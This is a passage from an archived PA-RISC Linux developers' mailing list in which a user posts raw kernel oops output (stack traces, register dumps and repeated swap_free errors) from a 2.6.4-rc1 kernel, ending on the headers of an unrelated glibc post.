List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 02 Mar 2004 13:03:26 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20969

And another one :(

kernel BUG at kernel/timer.c:370!
Kernel addresses on the stack:
 [<000000001010d478>] show_trace+0x40/0x110
 [<000000001010d2c4>] dump_stack+0x24/0x38
 [<00000000101496f0>] cascade+0x80/0xd0
 [<000000001014a20c>] run_local_timers+0x1c/0x30
 [<000000001014a1a8>] run_timer_softirq+0x1d8/0x220
 [<00000000101446a0>] do_softirq+0xc8/0x150
 [<000000001010e5b8>] timer_interrupt+0x1c0/0x268
 [<000000001010f248>] do_irq+0x138/0x190
 [<000000001010f368>] do_cpu_irq_mask+0xc8/0x138
 [<000000001013f750>] printk+0x1a8/0x218
 [<0000000010109074>] intr_return+0x0/0x14

kernel BUG at kernel/timer.c:370!
Kernel addresses on the stack:
 [<000000001010d478>] show_trace+0x40/0x110
 [<000000001010d2c4>] dump_stack+0x24/0x38
 [<00000000101496f0>] cascade+0x80/0xd0
 [<000000001014a20c>] run_local_timers+0x1c/0x30
 [<000000001014a1a8>] run_timer_softirq+0x1d8/0x220
 [<00000000101446a0>] do_softirq+0xc8/0x150
 [<000000001010e5b8>] timer_interrupt+0x1c0/0x268
 [<000000001010f248>] do_irq+0x138/0x190
 [<000000001010f368>] do_cpu_irq_mask+0xc8/0x138
 [<000000001013f750>] printk+0x1a8/0x218
 [<0000000010109074>] intr_return+0x0/0x14


Stack Dump:
 000000008e710af8:  000000008e710af8 0000000010273a44 00000000f000028c 0000000010471020
 000000008e710ad8:  00000000000062dd 0000000000000004 0000000000000022 0000000000000000
 000000008e710ab8:  0000000000000080 0000000000000000 0000000000000000 000000000003bddc
 000000008e710a98:  0000000000006791 0000000000006791 40ce7f6440ce7f6c 40ce7f5840ce7b9c
 000000008e710a78:  40ce7f4c40ce7f50 000000008e710580 0000000000000000 0000000010471020
 000000008e710a58:  000000000000000f 0000003f0804ff3f 0000000000000036 0000000000100100
 000000008e710a38:  00000000000251e0 000000001010dfd4 0000000000000000 000000000003bddc
 000000008e710a18:  0000000000000000 0000000000000000 40ce79dc40d0ec6c 40ce79bc40ce79d0
 000000008e7109f8:  40ce79a840ce79ac 000000001013f150 40ce796840ce7974 40ce796440ce7948
 000000008e7109d8:  000000008e710680 0000000010471020 000000008e710000000008e710800
 000000008e7109b8:  0000000010471020 000000008e710690 000000001037be04 00000000000251e0
 000000008e710998:  0000000000000000 0000000000000000 0000000000000001 0000003f0804ff0f
 000000008e710978:  00000000103ea700 000000008e70bc40 0000000010471020 00000000103e8f90
 000000008e710958:  000000008e710680 0000000010471020 000000000800000e 000000008e710800
 000000008e710938:  0000000010471020 0000000000006795 0000000010471020 0000000010471020
 000000008e710918:  0000000010471020 ffffffffffffe3ba 40d1697c00001b84 40d1697c00001b78
 000000008e7108f8:  40d1697c00001b6c 000000001013f28c 40d1697c00001b54 40d1697c00001b48
 000000008e7108d8:  000000001050a87b 0000000010471020 000000008e710640 000000001037be07
 000000008e7108b8:  0000000000000001 0000000010109094 000000008e710680 000000008e7107b0
 000000008e710898:  0000000000006795 0000000000006795 000000000003bddc 000000000000
 000000008e710878:  0000000000000000 000000001013f37c 0000000000000000 000000001037f354
 000000008e710858:  0000000000000000 000000008e710a90 0000000000000800 000000001037f354
 000000008e710838:  000000008e7107b0 000000001037be04 000000001037be04 0000003f0804ff3f
 000000008e710818:  0000000000000000 0000000050730060 000000000000003f 40d1697c000019f8
 000000008e7107f8:  40d1697c000019ec 000000001013f944 40d1697c000019d4 40d1697c000019c8
 000000008e7107d8:  00000000101496b4 00000000101496b0 0000000000000000 0000000000000000
 000000008e7107b8:  0000000000000000 0000000000000000 0000000000000000 0000000000000000
 000000008e710798:  000000000001db80 0000000000000000 0000000000000000 000000000001d480
 000000008e710778:  0000000000000023 000000001013f37c 00000000f000028c 0000000000000802
 000000008e710758:  0000000010471020 0000000013251000 0000000000000000 000000000802
 000000008e710738:  0000000000000000 0000000000000000 0000000013251000 0000000000000002
 000000008e710718:  000000008ffa7a80 0000000000000002 ffffffffffffffff ffffffffffffffff
 000000008e7106f8:  ffffffffffffffff 00000000101a35a0 ffffffffffffffff ffffffffffffffff
 000000008e7106d8:  ffffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffff
 000000008e7106b8:  ffffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffff
 000000008e710698:  0000000000000000 0000000000000000 0000000000000000 0000000000000000
 000000008e710678:  0000000010480820 000000008e710580 000000008e710570 0000000000000001
 000000008e710658:  0000000010471020 00000000103e8f90 000000008e70bc40 0000000010480820
 000000008e710638:  ffffffff0fe31074 0000000010109074 0000000000000001 00000000103e8fa0
 000000008e710618:  000000008e70c290 0000000010471020 00000000f000028c 00000000fd40
 000000008e7105f8:  0000000000000000 0000000000000000 000000000003bddc 0000000000000000
 000000008e7105d8:  0000000000000000 00000000000251e0 0000000000100100 0000000000000036
 000000008e7105b8:  00000000103e8f90 0000000010471020 000000008e70bc40 00000000103ea700
 000000008e710598:  0000003f0804ff0f 0000000010149708 0000000010478820 0000000008048f0e
 000000008e710578:  40d1697c0000162c 00000000101496f0 000000008e708410 000000001037e768
 000000008e710558:  000000001037e750 000000008e70c298 ffffffff8e434298 0000000000000172
 000000008e710538:  000000001037e768 000000001037e750 40d1697c000015b4 0000000010528b38
 000000008e710518:  0000000000000000 0000000010471020 40d1697c00001584 40d1697c00001578
 000000008e7104f8:  40d1697c0000156c 000000001014a20c 0000000010471020 0000000010471020
 000000008e7104d8:  0000000010471020 0000000000000000 00000000132a0000 000000001047
 000000008e7104b8:  00000000103e8f90 0000000010471020 0000000000000000 000000008e710398
 000000008e710498:  000000008e710398 0000000000200200 000000000800000e 0000000000000000
 000000008e710478:  0000000000000001 000000001014a1a8 0000000010471020 000000000800000e
 000000008e710458:  0000000000000022 0000000000000001 0000000000000022 0000000000000000
 000000008e710438:  0000000000000080 000000001013f750 0000000000000000 000000008e70fd40
 000000008e710418:  0000000000000000 0000000000000001 40d1697c00001404 0000000010395c84
 000000008e7103f8:  40d1697c000013ec 000000001051adb0 0000000000000001 0000000010471020
 000000008e7103d8:  000000000000000a 000000000800000e 0000000000000001 0000000000000065
 000000008e7103b8:  40d1697c0000138c 000000008e710398 000000008e710398 000000008e710398
 000000008e710398:  000000008e710398 000000008e70fd40 0020000000000000 00000000284100f8 000000008e710378:  00000000132a072c 00000000101446a0 00000000132a0000 00000000132a0000
 000000008e710358:  00000000f8004128 0000000010471020 000000008e70fd40 0000000000000000
 000000008e710338:  0000000000000001 00000000000251e0 0000000000000000 0000000000000000
 000000008e710318:  0000000000000000 00000000f000028c 000000000800000e 0000000010471020
 000000008e7102f8:  0000000000000002 000000001010e5b8 0000000010471020 000000000800000e
0000008e7102d8:  000000000000001f 0000000000000002 0000000000000022 0000000000000000
 000000008e7102b8:  0000000000000080 0000000000000000 0000000000000040 0000000010471020
 000000008e710298:  0000000000000000 000000008e70fd40 40ce317840d1698c 0000000010396bb5
 000000008e710278:  00000000132d6000 000000001010f248 0000000000000020 000000000800000e
 000000008e710258:  0000000010471020 0000000000000002 40ce2be440d1698c 000000008e710140
 000000008e710238:  40ce29ec40d1698c 00000000102a6cf4 0000000000000002 0000000000000000
 000000008e710218:  000000001047a020 00000000103cf2d0 00000000103e6058 000000008e70fa00
 000000008e7101f8:  00000000132a072c 0000000010396b98 40ce0da440d1698c 00000000132d6000
 000000008e7101d8:  0000000010471020 000000000800000f 40ce054440d1698c 40ce045040d1698c
 000000008e7101b8:  40ce03c040d1698c 0800000000000000 0000000000000000 8000000000000000
 000008e710198:  0000000010471020 000000008e70fd40 00000000132a0000 0000000010471020
 000000008e710178:  000000000800000e 000000001010f368 000000008e70fa00 0000000000000001
 000000008e710158:  0000000000000065 00000000000251e0 000000000800000e 0000000000000000
 000000008e710138:  0000000000000001 00000000102a0150 0000000010471020 000000000800000e
 000000008e710118:  0000000000000022 0000000000000001 0000000000000022 000000008e710000
 000000008e7100f8:  0000000000000080 000000001013f750 0000000000000000 000000008ffcf090
 000000008e7100d8:  0000000000000083 0000000010471020 40cd938840d1698c 0000000010395c84
 000000008e7100b8:  00000000000261dd 0000000000000fff 0000000000000004 000000008e708410
 000000008e710098:  0000000010471020 0000000000000000 0000000000000001 0000000000000065
 000000008e710078:  40cd6cd040d1698c 0000000010109074 000000008e710058 000000008e710058
 000008e710058:  000000008e710058 000000008e70fa00 0020000000000000 00000000284100f8
 000000008e710038:  00000000132a072c 00000000101446a0 00000000132a0000 00000000132a0000
 000000008e710018:  00000000f8004128 0000000010471020 000000008e70fa00

Kernel addresses on the stack:
 [<0000000010273a44>] serial8250_console_write+0x29c/0x500
 [<000000001013f150>] __call_console_drivers+0x98/0xc8
 [<000000001013f28c>] _call_console_drivers+0x10c/0x118
 [<000000001013f37c>] call_console_drivers+0xe4/0x1e8
 [<000000001013f944>] release_console_sem+0x84/0x160
 [<000000001013f37c>] call_console_drivers+0xe4/0x1e8
 [<00000000101a35a0>] locate_fd+0x130/0x1d0
 [<00000000101496f0>] cascade+0x80/0xd0
 [<000000001014a20c>] run_local_timers+0x1c/0x30
 [<000000001014a1a8>] run_timer_softirq+0x1d8/0x220
 [<00000000101446a0>] do_softirq+0xc8/0x150
 [<000000001010e5b8>] timer_interrupt+0x1c0/0x268
 [<000000001010f248>] do_irq+0x138/0x190
 [<000000001010f368>] do_cpu_irq_mask+0xc8/0x138
 [<000000001013f750>] printk+0x1a8/0x218
 [<0000000010109074>] intr_return+0x0/0x14


Kernel Fault: Code=15 regs=000000008e710580 (Addr=0000003f0804ff3f)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001000111100001110 Not tainted
r00-03  0000000000000000 0000000010478820 0000000010149708 0000003f0804ff0f
r04-07  00000000103ea700 000000008e70bc40 0000000010471020 00000000103e8f90
r08-11  0000000000000036 0000000000100100 00000000000251e0 0000000000000000
r12-15  0000000000000000 000000000003bddc 0000000000000000 0000000000000000
r16-19  000000008e70fd40 00000000f000028c 0000000010471020 000000008e70c290
r20-23  00000000103e8fa0 0000000000000001 0000000010109074 ffffffff0fe31074
r24-27  0000000010480820 000000008e70bc40 00000000103e8f90 0000000010471020
r28-31  0000000000000001 000000008e710570 000000008e710580 0000000010480820
sr0-3   000000000001d480 0000000000000000 0000000000000000 000000000001db80
sr4-7   0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000101496b0 00000000101496b4
 IIR: 50730060    ISR: 0000000000000000  IOR: 0000003f0804ff3f
 CPU:        CR30: 000000008e708000 CR31: 0000000010440000
 ORIG_R28: 000000001013f944
 IAOQ[0]: cascade+0x40/0xd0
 IAOQ[1]: cascade+0x44/0xd0
 RP(r2): cascade+0x98/0xd0


-- 
Wichert Akkerman <wichert@wiggy.net>    It is simple to make things.
http://www.wiggy.net/                   It is hard to make things simple.



From - Thu Nov 08 21:31:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Wichert Akkerman <wichert@wiggy.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: another kernel oops
Date: Tue, 2 Mar 2004 14:41:38 +0100
Lines: 334
Approved: news@gmane.org
Message-ID: <20040302134138.GA19692@wiggy.net>
References: <20040302100622.GL2502@wiggy.net>
	<20040302130323.GA17623@wiggy.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623234 6245 80.91.229.3 (22 Nov 2014 02:27:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: wichert@levante.wiggy.net  Tue Mar  2 06:41:41 2004
Return-Path: <wichert@levante.wiggy.net>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx1.wiggy.net (levante.wiggy.net [195.85.225.139])
	by dsl2.external.hp.com (Postfix) with ESMTP id BE56248AF
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  2 Mar 2004 06:41:39 -0700 (MST)
Original-Received: from wichert by mx1.wiggy.net with local (Exim 4.30)
	id 1AyA9S-000585-P5
	for parisc-linux@lists.parisc-linux.org; Tue, 02 Mar 2004 14:41:38 +0100
Content-Disposition: inline
In-Reply-To: <20040302130323.GA17623@wiggy.net>
User-Agent: Mutt/1.5.5.1+cvs20040105i
Original-Sender: Wichert Akkerman <wichert@levante.wiggy.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 02 Mar 2004 13:41:43 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20970

And another one. 2.6.4-rc1-pa kernel compiled by tausq to rule out
problems in my toolchain.

syslogd (pid 198): Illegal instruction (code 8) at 000000004004c47f
kernel BUG at include/linux/mm.h:275!
Kernel addresses on the stack:
 [<0000000010105680>] show_trace+0x40/0x108
 [<00000000101054cc>] dump_stack+0x24/0x38
 [<0000000010182948>] free_page_and_swap_cache+0xd0/0x130
 [<0000000010172358>] zap_pte_range+0x220/0x288
 [<0000000010189778>] get_empty_filp+0x80/0x180
 [<00000000101724a8>] zap_pmd_range+0xe8/0x108
 [<0000000010172580>] unmap_page_range+0xb8/0x298
 [<00000000101728d0>] unmap_vmas+0x170/0x3a8
 [<0000000010178abc>] exit_mmap+0x8c/0x2d0
 [<0000000010279b90>] put_io_context+0xc8/0xd8
 [<000000001013b8b4>] mmput+0xa4/0xe0
 [<00000000101415b8>] do_exit+0x250/0x580
 [<0000000010199ab8>] do_coredump+0x178/0x248
 [<0000000010141a40>] do_group_exit+0xe8/0x110
 [<000000001014d620>] get_signal_to_deliver+0x1b0/0x530
 [<0000000010112d6c>] do_signal+0x3c/0x324
 [<0000000010139174>] schedule+0x3f4/0x7c8
 [<000000001010c2c8>] intr_do_signal+0x2c/0x34

swap_free: Bad swap file entry 008f0844
swap_free: Bad swap file entry 00000005
kernel BUG at include/linux/mm.h:275!
Kernel addresses on the stack:
 [<0000000010105680>] show_trace+0x40/0x108
 [<00000000101054cc>] dump_stack+0x24/0x38
 [<0000000010182948>] free_page_and_swap_cache+0xd0/0x130
 [<0000000010172358>] zap_pte_range+0x220/0x288
 [<0000000010189778>] get_empty_filp+0x80/0x180
 [<00000000101724a8>] zap_pmd_range+0xe8/0x108
 [<0000000010172580>] unmap_page_range+0xb8/0x298
 [<00000000101728d0>] unmap_vmas+0x170/0x3a8
 [<0000000010178abc>] exit_mmap+0x8c/0x2d0
 [<0000000010279b90>] put_io_context+0xc8/0xd8
 [<000000001013b8b4>] mmput+0xa4/0xe0
 [<00000000101415b8>] do_exit+0x250/0x580
 [<0000000010199ab8>] do_coredump+0x178/0x248
 [<0000000010141a40>] do_group_exit+0xe8/0x110
 [<000000001014d620>] get_signal_to_deliver+0x1b0/0x530
 [<0000000010112d6c>] do_signal+0x3c/0x324
 [<0000000010139174>] schedule+0x3f4/0x7c8
 [<000000001010c2c8>] intr_do_signal+0x2c/0x34

kernel BUG at include/linux/mm.h:275!
Kernel addresses on the stack:
 [<0000000010105680>] show_trace+0x40/0x108
 [<00000000101054cc>] dump_stack+0x24/0x38
 [<0000000010182948>] free_page_and_swap_cache+0xd0/0x130
 [<0000000010172358>] zap_pte_range+0x220/0x288
 [<0000000010189778>] get_empty_filp+0x80/0x180
 [<00000000101724a8>] zap_pmd_range+0xe8/0x108
 [<0000000010172580>] unmap_page_range+0xb8/0x298
 [<00000000101728d0>] unmap_vmas+0x170/0x3a8
 [<0000000010178abc>] exit_mmap+0x8c/0x2d0
 [<0000000010279b90>] put_io_context+0xc8/0xd8
 [<000000001013b8b4>] mmput+0xa4/0xe0
 [<00000000101415b8>] do_exit+0x250/0x580
 [<0000000010199ab8>] do_coredump+0x178/0x248
 [<0000000010141a40>] do_group_exit+0xe8/0x110
 [<000000001014d620>] get_signal_to_deliver+0x1b0/0x530
 [<0000000010112d6c>] do_signal+0x3c/0x324
 [<0000000010139174>] schedule+0x3f4/0x7c8
 [<000000001010c2c8>] intr_do_signal+0x2c/0x34

kernel BUG at include/linux/mm.h:275!
Kernel addresses on the stack:
 [<0000000010105680>] show_trace+0x40/0x108
 [<00000000101054cc>] dump_stack+0x24/0x38
 [<0000000010182948>] free_page_and_swap_cache+0xd0/0x130
 [<0000000010172358>] zap_pte_range+0x220/0x288
 [<0000000010189778>] get_empty_filp+0x80/0x180
 [<00000000101724a8>] zap_pmd_range+0xe8/0x108
 [<0000000010172580>] unmap_page_range+0xb8/0x298
 [<00000000101728d0>] unmap_vmas+0x170/0x3a8
 [<0000000010178abc>] exit_mmap+0x8c/0x2d0
 [<0000000010279b90>] put_io_context+0xc8/0xd8
 [<000000001013b8b4>] mmput+0xa4/0xe0
 [<00000000101415b8>] do_exit+0x250/0x580
 [<0000000010199ab8>] do_coredump+0x178/0x248
 [<0000000010141a40>] do_group_exit+0xe8/0x110
 [<000000001014d620>] get_signal_to_deliver+0x1b0/0x530
 [<0000000010112d6c>] do_signal+0x3c/0x324
 [<0000000010139174>] schedule+0x3f4/0x7c8
 [<000000001010c2c8>] intr_do_signal+0x2c/0x34

swap_free: Bad swap file entry 003ccbf0
swap_free: Bad swap file entry 0000026d
swap_free: Bad swap file entry fe000000000000
kernel BUG at include/linux/mm.h:275!
Kernel addresses on the stack:
 [<0000000010105680>] show_trace+0x40/0x108
 [<00000000101054cc>] dump_stack+0x24/0x38
 [<0000000010182948>] free_page_and_swap_cache+0xd0/0x130
 [<0000000010172358>] zap_pte_range+0x220/0x288
 [<0000000010189778>] get_empty_filp+0x80/0x180
 [<00000000101724a8>] zap_pmd_range+0xe8/0x108
 [<0000000010172580>] unmap_page_range+0xb8/0x298
 [<00000000101728d0>] unmap_vmas+0x170/0x3a8
 [<0000000010178abc>] exit_mmap+0x8c/0x2d0
 [<0000000010279b90>] put_io_context+0xc8/0xd8
 [<000000001013b8b4>] mmput+0xa4/0xe0
 [<00000000101415b8>] do_exit+0x250/0x580
 [<0000000010199ab8>] do_coredump+0x178/0x248
 [<0000000010141a40>] do_group_exit+0xe8/0x110
 [<000000001014d620>] get_signal_to_deliver+0x1b0/0x530
 [<0000000010112d6c>] do_signal+0x3c/0x324
 [<0000000010139174>] schedule+0x3f4/0x7c8
 [<000000001010c2c8>] intr_do_signal+0x2c/0x34

swap_free: Bad swap file entry fe000000000000
kernel BUG at include/linux/mm.h:275!
Kernel addresses on the stack:
 [<0000000010105680>] show_trace+0x40/0x108
 [<00000000101054cc>] dump_stack+0x24/0x38
 [<0000000010182948>] free_page_and_swap_cache+0xd0/0x130
 [<0000000010172358>] zap_pte_range+0x220/0x288
 [<0000000010189778>] get_empty_filp+0x80/0x180
 [<00000000101724a8>] zap_pmd_range+0xe8/0x108
 [<0000000010172580>] unmap_page_range+0xb8/0x298
 [<00000000101728d0>] unmap_vmas+0x170/0x3a8
 [<0000000010178abc>] exit_mmap+0x8c/0x2d0
 [<0000000010279b90>] put_io_context+0xc8/0xd8
 [<000000001013b8b4>] mmput+0xa4/0xe0
 [<00000000101415b8>] do_exit+0x250/0x580
 [<0000000010199ab8>] do_coredump+0x178/0x248
 [<0000000010141a40>] do_group_exit+0xe8/0x110
 [<000000001014d620>] get_signal_to_deliver+0x1b0/0x530
 [<0000000010112d6c>] do_signal+0x3c/0x324
 [<0000000010139174>] schedule+0x3f4/0x7c8
 [<000000001010c2c8>] intr_do_signal+0x2c/0x34

swap_free: Bad swap file entry 2800000000000001
swap_free: Bad swap file entry 1000000000000008
swap_free: Bad swap file entry 00132760
swap_free: Bad swap file entry 1000000000000008
kernel BUG at include/linux/mm.h:275!
Kernel addresses on the stack:
 [<0000000010105680>] show_trace+0x40/0x108
 [<00000000101054cc>] dump_stack+0x24/0x38
 [<0000000010182948>] free_page_and_swap_cache+0xd0/0x130
 [<0000000010172358>] zap_pte_range+0x220/0x288
 [<00000000101724a8>] zap_pmd_range+0xe8/0x108
 [<0000000010172580>] unmap_page_range+0xb8/0x298
 [<000000001013a97c>] __cond_resched+0x2c/0x48
 [<00000000101728d0>] unmap_vmas+0x170/0x3a8
 [<0000000010178abc>] exit_mmap+0x8c/0x2d0
 [<0000000010279b90>] put_io_context+0xc8/0xd8
 [<000000001013b8b4>] mmput+0xa4/0xe0
 [<00000000101415b8>] do_exit+0x250/0x580
 [<0000000010199ab8>] do_coredump+0x178/0x248
 [<0000000010141a40>] do_group_exit+0xe8/0x110
 [<000000001014d620>] get_signal_to_deliver+0x1b0/0x530
 [<0000000010112d6c>] do_signal+0x3c/0x324
 [<0000000010139174>] schedule+0x3f4/0x7c8
 [<000000001010c2c8>] intr_do_signal+0x2c/0x34

swap_free: Bad swap file entry 00132510
swap_free: Bad swap file entry 1000000000000008
swap_free: Bad swap file entry 8800000000000000
swap_free: Bad swap file entry 000001b8
swap_free: Bad swap file entry 000001b8
swap_free: Bad swap file entry 000001b4
swap_free: Bad swap file entry 800000000000000
kernel BUG at include/linux/mm.h:275!
Kernel addresses on the stack:
 [<0000000010105680>] show_trace+0x40/0x108
 [<00000000101054cc>] dump_stack+0x24/0x38
 [<0000000010182948>] free_page_and_swap_cache+0xd0/0x130
 [<0000000010172358>] zap_pte_range+0x220/0x288
 [<00000000101724a8>] zap_pmd_range+0xe8/0x108
 [<0000000010172580>] unmap_page_range+0xb8/0x298
 [<000000001013a97c>] __cond_resched+0x2c/0x48
 [<00000000101728d0>] unmap_vmas+0x170/0x3a8
 [<0000000010178abc>] exit_mmap+0x8c/0x2d0
 [<0000000010279b90>] put_io_context+0xc8/0xd8
 [<000000001013b8b4>] mmput+0xa4/0xe0
 [<00000000101415b8>] do_exit+0x250/0x580
 [<0000000010199ab8>] do_coredump+0x178/0x248
 [<0000000010141a40>] do_group_exit+0xe8/0x110
 [<000000001014d620>] get_signal_to_deliver+0x1b0/0x530
 [<0000000010112d6c>] do_signal+0x3c/0x324
 [<0000000010139174>] schedule+0x3f4/0x7c8
 [<000000001010c2c8>] intr_do_signal+0x2c/0x34

swap_free: Bad swap file entry 6000000000000000
swap_free: Bad swap file entry 7000000000080000
swap_free: Bad swap file entry 00132b20
swap_free: Bad swap file entry 00000002
swap_free: Bad swap file entry 7000000000080000
swap_free: Bad swap file entry 800000000000000
swap_free: Bad swap file entry 008f0844
swap_free: Bad swap file entry 00000005
swap_free: Bad swap file entry 003ccbf0
swap_free: Bad swap file entry 008f0890
swap_free: Bad swap file entry 0000026d
swap_free: Bad swap file entry fe000000000000
swap_free: Bad swap file entry fe000000000000
swap_free: Bad swap file entry 008f0890
swap_free: Bad swap file entry 2800000000000001
swap_free: Bad swap file entry 800000000000000
kernel BUG at include/linux/mm.h:275!
Kernel addresses on the stack:
 [<0000000010105680>] show_trace+0x40/0x108
 [<00000000101054cc>] dump_stack+0x24/0x38
 [<0000000010182948>] free_page_and_swap_cache+0xd0/0x130
 [<0000000010172358>] zap_pte_range+0x220/0x288
 [<00000000101724a8>] zap_pmd_range+0xe8/0x108
 [<0000000010172580>] unmap_page_range+0xb8/0x298
 [<000000001013a97c>] __cond_resched+0x2c/0x48
 [<00000000101728d0>] unmap_vmas+0x170/0x3a8
 [<0000000010178abc>] exit_mmap+0x8c/0x2d0
 [<0000000010279b90>] put_io_context+0xc8/0xd8
 [<000000001013b8b4>] mmput+0xa4/0xe0
 [<00000000101415b8>] do_exit+0x250/0x580
 [<0000000010199ab8>] do_coredump+0x178/0x248
 [<0000000010141a40>] do_group_exit+0xe8/0x110
 [<000000001014d620>] get_signal_to_deliver+0x1b0/0x530
 [<0000000010112d6c>] do_signal+0x3c/0x324
 [<0000000010139174>] schedule+0x3f4/0x7c8
 [<000000001010c2c8>] intr_do_signal+0x2c/0x34

swap_free: Bad swap file entry 1000000000000008
swap_free: Bad swap file entry 1000000000000008
swap_free: Bad swap file entry 00132760
swap_free: Bad swap file entry 1000000000000008
swap_free: Bad swap file entry 00132510
swap_free: Bad swap file entry 1000000000000008
swap_free: Bad swap file entry 8800000000000000
swap_free: Bad swap file entry 000001b8
swap_free: Bad swap file entry 000001b8
swap_free: Bad swap file entr001b4
swap_free: Bad swap file entry 800000000000000
swap_free: Bad swap file entry 008f0890
swap_free: Bad swap file entry 6000000000000000
swap_free: Bad swap file entry 7000000000080000
swap_free: Bad swap file entry 00132b20
swap_free: Bad swap file entry 00000002
swap_free: Bad swap file entry 7000000000080000
swap_free: Bad swap file entry 7800000000080000
swap_free: Bad swap file entry 00132b20
swap_free: Bad swap file entry 008f0890
swap_free: Bad swap file entry 008f0844
swap_free: Bad swap file entry 00000005
swap_free: Bad swap file entry 003ccbf0
swap_free: Bad swap file entry 0000026d
swap_free: Bad swap file entry fe000000000000
swap_free: Bad swap file entry fe000000000000
swap_free: Bad swap file entry 2800000000000001
swap_free: Bad swap file entry 800000000000000
swap_free: Bad swap file entry 1000000000000008
swap_free: Bad swap file entry 10000000008
swap_free: Bad swap file entry 00132760
swap_free: Bad swap file entry 1000000000000008
swap_free: Bad swap file entry 00132510
swap_free: Bad swap file entry 1000000000000008
swap_free: Bad swap file entry 8800000000000000
swap_free: Bad swap file entry 000001b8
swap_free: Bad swap file entry 000001b8
swap_free: Bad swap file entry 000001b4
swap_free: Bad swap file entry 800000000000000
swap_free: Bad swap file entry 6000000000000000
swap_free: Bad swap file entry 7000000000080000
swap_free: Bad swap file entry 00132b20
swap_free: Bad swap file entry 008f089b
swap_free: Bad swap file entry 00000002
swap_free: Bad swap file entry 7000000000080000
swap_free: Bad swap file entry 800000000000000
swap_free: Bad swap file entry 008f0844
swap_free: Bad swap file entry 00000005
swap_free: Bad swap file entry 003ccbf0
swap_free: Bad swap file entry 0000026d
swap_free: Badp file entry fe000000000000
swap_free: Bad swap file entry fe000000000000
swap_free: Bad swap file entry 2800000000000001
swap_free: Bad swap file entry 800000000000000
swap_free: Bad swap file entry 008f089f
swap_free: Bad swap file entry 1000000000000008
swap_free: Bad swap file entry 1000000000000008
swap_free: Bad swap file entry 00132760
swap_free: Bad swap file entry 1000000000000008
swap_free: Bad swap file entry 00132510
swap_free: Bad swap file entry 1000000000000008
swap_free: Bad swap file entry 8800000000000000
swap_free: Bad swap file entry 000001b8
swap_free: Bad swap file entry 000001b8
swap_free: Bad swap file entry 000001b4
swap_free: Bad swap file entry 800000000000000
swap_free: Bad swap file entry 6000000000000000
swap_free: Bad swap file entry 7000000000080000
swap_free: Bad swap file entry 00132b20
swap_free: Bad swap file entry 00000002
swap_free: Bad swap file entry 7000000000080000
swap_free: Bad swap file entry 7800000000080000
swap_free: Bad swap file entry 00132e60
swap_free: Bad swap file entry 008f0844
swap_free: Bad swap file entry 00000005
swap_free: Bad swle entry 003ccbf0
swap_free: Bad swap file entry 008f089f
swap_free: Bad swap file entry 0000026d
swap_free: Bad swap file entry fe000000000000
swap_free: Bad swap file entry fe000000000000
swap_free: Bad swap file entry 008f089f
swap_free: Bad swap file entry 2800000000000001
swap_free: Bad swap file entry 800000000000000
swap_free: Bad swap file entry 1000000000000008
swap_free: Bad swap file entry 1000000000000008
swap_free: Bad swap file entry 00132760
swap_free: Bad swap file entry 1000000000000008
swap_free: Bad swap file entry 00132510
swap_free: Bad swap file entry 1000000000000008
swap_free: Bad swap file entry 8800000000000000
swap_free: Bad swap file entry 000001b8
swap_free: Bad swap file entry 000001b8
swap_freed swap file entry 000001b4
swap_free: Bad swap file entry 800000000000000
swap_free: Bad swap file entry 008f089f
swap_free: Bad swap file entry 6000000000000000
swap_free: Bad swap file entry 7000000000080000
swap_free: Bad swap file entry 00132b20
swap_free: Bad swap file entry 00000002
swap_free: Bad swap file entry 7000000000080000

Wichert.

-- 
Wichert Akkerman <wichert@wiggy.net>    It is simple to make things.
http://www.wiggy.net/                   It is hard to make things simple.



From - Thu Nov 08 21:31:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.3.3: a warning with gcc-3.3 become an
	error with gcc-3.5
Date: Tue, 2 Mar 2004 15:59:34 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <402A4CA50000D57D@ocpmta2.freegates.net>
References: <20040301193815.GG21769@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623234 6246 80.91.229.3 (22 Nov 2014 02:27:14 GMT)
